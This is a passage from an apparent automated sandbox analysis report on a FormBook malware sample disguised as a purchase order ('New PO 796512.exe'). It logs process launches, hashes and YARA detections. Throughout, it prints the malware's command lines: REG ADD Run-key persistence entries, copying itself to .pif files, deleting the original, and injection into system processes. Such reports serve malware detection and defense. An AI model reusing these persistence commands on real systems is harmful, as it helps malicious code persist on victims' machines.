                                                                                          Commandline:REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif"
                                                                                          Imagebase:0x890000
                                                                                          File size:59'392 bytes
                                                                                          MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                                                                                          Has elevated privileges:true
                                                                                          Has administrator privileges:true
                                                                                          Programmed in:C, C++ or other language
                                                                                          Reputation:high
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:11
                                                                                          Start time:10:31:11
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:cmd /c Copy "C:\Users\user\Desktop\New PO 796512.exe" "C:\Users\user\Documents\New PO 796512.pif"
                                                                                          Imagebase:0x410000
                                                                                          File size:236'544 bytes
                                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                          Has elevated privileges:true
                                                                                          Has administrator privileges:true
                                                                                          Programmed in:C, C++ or other language
                                                                                          Reputation:high
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:12
                                                                                          Start time:10:31:11
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                          Wow64 process (32bit):false
                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                          Imagebase:0x7ff75da10000
                                                                                          File size:862'208 bytes
                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                          Has elevated privileges:true
                                                                                          Has administrator privileges:true
                                                                                          Programmed in:C, C++ or other language
                                                                                          Reputation:high
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:13
                                                                                          Start time:10:31:12
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Users\user\Desktop\New PO 796512.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:"C:\Users\user\Desktop\New PO 796512.exe"
                                                                                          Imagebase:0x8c0000
                                                                                          File size:22'016 bytes
                                                                                          MD5 hash:223B42ADC2E6EEB342664FFA633C3A6A
                                                                                          Has elevated privileges:true
                                                                                          Has administrator privileges:true
                                                                                          Programmed in:C, C++ or other language
                                                                                          Yara matches:
                                                                                          • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                          • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                          • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                          • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                          • Rule: Formbook, Description: detect Formbook in memory, Source: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                          Reputation:low
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:14
                                                                                          Start time:10:31:13
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\explorer.exe
                                                                                          Wow64 process (32bit):false
                                                                                          Commandline:C:\Windows\Explorer.EXE
                                                                                          Imagebase:0x7ff70ffd0000
                                                                                          File size:5'141'208 bytes
                                                                                          MD5 hash:662F4F92FDE3557E86D110526BB578D5
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Yara matches:
                                                                                          • Rule: Windows_Trojan_Formbook_772cc62d, Description: unknown, Source: 0000000E.00000002.2554228536.00000000109A6000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                          Reputation:high
                                                                                          Has exited:false

                                                                                          General

                                                                                          Target ID:15
                                                                                          Start time:10:31:15
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\SysWOW64\autoconv.exe
                                                                                          Wow64 process (32bit):false
                                                                                          Commandline:"C:\Windows\SysWOW64\autoconv.exe"
                                                                                          Imagebase:0x9b0000
                                                                                          File size:842'752 bytes
                                                                                          MD5 hash:A705C2ACED7DDB71AFB87C4ED384BED6
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Reputation:moderate
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:16
                                                                                          Start time:10:31:15
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\SysWOW64\msdt.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:"C:\Windows\SysWOW64\msdt.exe"
                                                                                          Imagebase:0x990000
                                                                                          File size:389'632 bytes
                                                                                          MD5 hash:BAA4458E429E7C906560FE4541ADFCFB
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Yara matches:
                                                                                          • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000010.00000002.2531627143.0000000003260000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                          • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000010.00000002.2531627143.0000000003260000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                          • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000010.00000002.2531627143.0000000003260000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                          • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000010.00000002.2531627143.0000000003260000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                          • Rule: Formbook, Description: detect Formbook in memory, Source: 00000010.00000002.2531627143.0000000003260000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                          • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000010.00000002.2531373486.0000000003230000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                          • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000010.00000002.2531373486.0000000003230000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                          • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000010.00000002.2531373486.0000000003230000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                                                          • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000010.00000002.2531373486.0000000003230000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                          • Rule: Formbook, Description: detect Formbook in memory, Source: 00000010.00000002.2531373486.0000000003230000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                          • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000010.00000002.2529083977.0000000002E00000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                          • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000010.00000002.2529083977.0000000002E00000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                          • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000010.00000002.2529083977.0000000002E00000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                          • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000010.00000002.2529083977.0000000002E00000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                          • Rule: Formbook, Description: detect Formbook in memory, Source: 00000010.00000002.2529083977.0000000002E00000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                          Reputation:moderate
                                                                                          Has exited:false

                                                                                          General

                                                                                          Target ID:18
                                                                                          Start time:10:31:19
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:/c del "C:\Users\user\Desktop\New PO 796512.exe"
                                                                                          Imagebase:0x410000
                                                                                          File size:236'544 bytes
                                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Reputation:high
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:19
                                                                                          Start time:10:31:19
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                          Wow64 process (32bit):false
                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                          Imagebase:0x7ff75da10000
                                                                                          File size:862'208 bytes
                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Reputation:high
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:20
                                                                                          Start time:10:31:21
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Users\user\Documents\New PO 796512.pif
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:"C:\Users\user\Documents\New PO 796512.pif"
                                                                                          Imagebase:0xe00000
                                                                                          File size:22'016 bytes
                                                                                          MD5 hash:223B42ADC2E6EEB342664FFA633C3A6A
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Antivirus matches:
                                                                                          • Detection: 100%, Joe Sandbox ML
                                                                                          • Detection: 18%, ReversingLabs
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:21
                                                                                          Start time:12:22:29
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif"
                                                                                          Imagebase:0x410000
                                                                                          File size:236'544 bytes
                                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:22
                                                                                          Start time:12:22:29
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                          Wow64 process (32bit):false
                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                          Imagebase:0x7ff75da10000
                                                                                          File size:862'208 bytes
                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:23
                                                                                          Start time:12:22:29
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\SysWOW64\reg.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif"
                                                                                          Imagebase:0x890000
                                                                                          File size:59'392 bytes
                                                                                          MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:24
                                                                                          Start time:12:22:31
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:cmd /c Copy "C:\Users\user\Documents\New PO 796512.pif" "C:\Users\user\Documents\New PO 796512.pif.pif"
                                                                                          Imagebase:0x410000
                                                                                          File size:236'544 bytes
                                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:25
                                                                                          Start time:12:22:31
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                          Wow64 process (32bit):false
                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                          Imagebase:0x7ff75da10000
                                                                                          File size:862'208 bytes
                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:26
                                                                                          Start time:12:22:33
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Users\user\Documents\New PO 796512.pif
                                                                                          Wow64 process (32bit):false
                                                                                          Commandline:"C:\Users\user\Documents\New PO 796512.pif"
                                                                                          Imagebase:0x190000
                                                                                          File size:22'016 bytes
                                                                                          MD5 hash:223B42ADC2E6EEB342664FFA633C3A6A
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:27
                                                                                          Start time:12:22:33
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Users\user\Documents\New PO 796512.pif
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:"C:\Users\user\Documents\New PO 796512.pif"
                                                                                          Imagebase:0xb40000
                                                                                          File size:22'016 bytes
                                                                                          MD5 hash:223B42ADC2E6EEB342664FFA633C3A6A
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:28
                                                                                          Start time:12:22:33
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Users\user\Documents\New PO 796512.pif
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:"C:\Users\user\Documents\New PO 796512.pif"
                                                                                          Imagebase:0x2a0000
                                                                                          File size:22'016 bytes
                                                                                          MD5 hash:223B42ADC2E6EEB342664FFA633C3A6A
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:29
                                                                                          Start time:12:22:34
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:"C:\Windows\SysWOW64\cmd.exe"
                                                                                          Imagebase:0x410000
                                                                                          File size:236'544 bytes
                                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Yara matches:
                                                                                          • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001D.00000002.1579072363.0000000002830000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                          • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000001D.00000002.1579072363.0000000002830000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                          • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000001D.00000002.1579072363.0000000002830000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                          • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001D.00000002.1579072363.0000000002830000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                          • Rule: Formbook, Description: detect Formbook in memory, Source: 0000001D.00000002.1579072363.0000000002830000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:30
                                                                                          Start time:12:22:38
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif"
                                                                                          Imagebase:0x410000
                                                                                          File size:236'544 bytes
                                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:31
                                                                                          Start time:12:22:38
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                          Wow64 process (32bit):false
                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                          Imagebase:0x7ff75da10000
                                                                                          File size:862'208 bytes
                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:32
                                                                                          Start time:12:22:38
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\SysWOW64\reg.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif"
                                                                                          Imagebase:0x890000
                                                                                          File size:59'392 bytes
                                                                                          MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:33
                                                                                          Start time:12:22:40
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:cmd /c Copy "C:\Users\user\Documents\New PO 796512.pif" "C:\Users\user\Documents\New PO 796512.pif.pif"
                                                                                          Imagebase:0x410000
                                                                                          File size:236'544 bytes
                                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:34
                                                                                          Start time:12:22:40
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                          Wow64 process (32bit):false
                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                          Imagebase:0x7ff75da10000
                                                                                          File size:862'208 bytes
                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:35
                                                                                          Start time:12:22:41
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Users\user\Documents\New PO 796512.pif
                                                                                          Wow64 process (32bit):false
                                                                                          Commandline:"C:\Users\user\Documents\New PO 796512.pif"
                                                                                          Imagebase:0x340000
                                                                                          File size:22'016 bytes
                                                                                          MD5 hash:223B42ADC2E6EEB342664FFA633C3A6A
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:36
                                                                                          Start time:12:22:41
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Users\user\Documents\New PO 796512.pif
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:"C:\Users\user\Documents\New PO 796512.pif"
                                                                                          Imagebase:0xa60000
                                                                                          File size:22'016 bytes
                                                                                          MD5 hash:223B42ADC2E6EEB342664FFA633C3A6A
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:37
                                                                                          Start time:12:22:42
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Users\user\Documents\New PO 796512.pif.pif
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:"C:\Users\user\Documents\New PO 796512.pif.pif"
                                                                                          Imagebase:0xb40000
                                                                                          File size:22'016 bytes
                                                                                          MD5 hash:223B42ADC2E6EEB342664FFA633C3A6A
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Antivirus matches:
                                                                                          • Detection: 100%, Joe Sandbox ML
                                                                                          • Detection: 18%, ReversingLabs
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:38
                                                                                          Start time:12:22:42
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\SysWOW64\msiexec.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:"C:\Windows\SysWOW64\msiexec.exe"
                                                                                          Imagebase:0x620000
                                                                                          File size:59'904 bytes
                                                                                          MD5 hash:9D09DC1EDA745A5F87553048E57620CF
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Yara matches:
                                                                                          • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000026.00000002.1663569868.0000000002710000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                          • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000026.00000002.1663569868.0000000002710000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                          • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000026.00000002.1663569868.0000000002710000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                          • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000026.00000002.1663569868.0000000002710000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                          • Rule: Formbook, Description: detect Formbook in memory, Source: 00000026.00000002.1663569868.0000000002710000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:39
                                                                                          Start time:12:22:46
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif"
                                                                                          Imagebase:0x410000
                                                                                          File size:236'544 bytes
                                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:40
                                                                                          Start time:12:22:46
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                          Wow64 process (32bit):false
                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                          Imagebase:0x7ff75da10000
                                                                                          File size:862'208 bytes
                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:41
                                                                                          Start time:12:22:46
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\SysWOW64\reg.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif"
                                                                                          Imagebase:0x890000
                                                                                          File size:59'392 bytes
                                                                                          MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:42
                                                                                          Start time:12:22:48
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:cmd /c Copy "C:\Users\user\Documents\New PO 796512.pif.pif" "C:\Users\user\Documents\New PO 796512.pif.pif.pif"
                                                                                          Imagebase:0x410000
                                                                                          File size:236'544 bytes
                                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:43
                                                                                          Start time:12:22:48
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                          Wow64 process (32bit):false
                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                          Imagebase:0x7ff75da10000
                                                                                          File size:862'208 bytes
                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:44
                                                                                          Start time:12:22:49
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Users\user\Documents\New PO 796512.pif.pif
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:"C:\Users\user\Documents\New PO 796512.pif.pif"
                                                                                          Imagebase:0x550000
                                                                                          File size:22'016 bytes
                                                                                          MD5 hash:223B42ADC2E6EEB342664FFA633C3A6A
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:45
                                                                                          Start time:12:22:49
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:"C:\Windows\SysWOW64\cmd.exe"
                                                                                          Imagebase:0x410000
                                                                                          File size:236'544 bytes
                                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Yara matches:
                                                                                          • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000002D.00000002.1737808316.0000000002F90000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                          • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000002D.00000002.1737808316.0000000002F90000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                          • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000002D.00000002.1737808316.0000000002F90000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                          • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000002D.00000002.1737808316.0000000002F90000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                          • Rule: Formbook, Description: detect Formbook in memory, Source: 0000002D.00000002.1737808316.0000000002F90000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:46
                                                                                          Start time:12:22:55
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Users\user\Documents\New PO 796512.pif.pif
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:"C:\Users\user\Documents\New PO 796512.pif.pif"
                                                                                          Imagebase:0xa20000
                                                                                          File size:22'016 bytes
                                                                                          MD5 hash:223B42ADC2E6EEB342664FFA633C3A6A
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:47
                                                                                          Start time:12:22:59
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif"
                                                                                          Imagebase:0x410000
                                                                                          File size:236'544 bytes
                                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:48
                                                                                          Start time:12:22:59
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                          Wow64 process (32bit):false
                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                          Imagebase:0x7ff75da10000
                                                                                          File size:862'208 bytes
                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                          Has elevated privileges:false
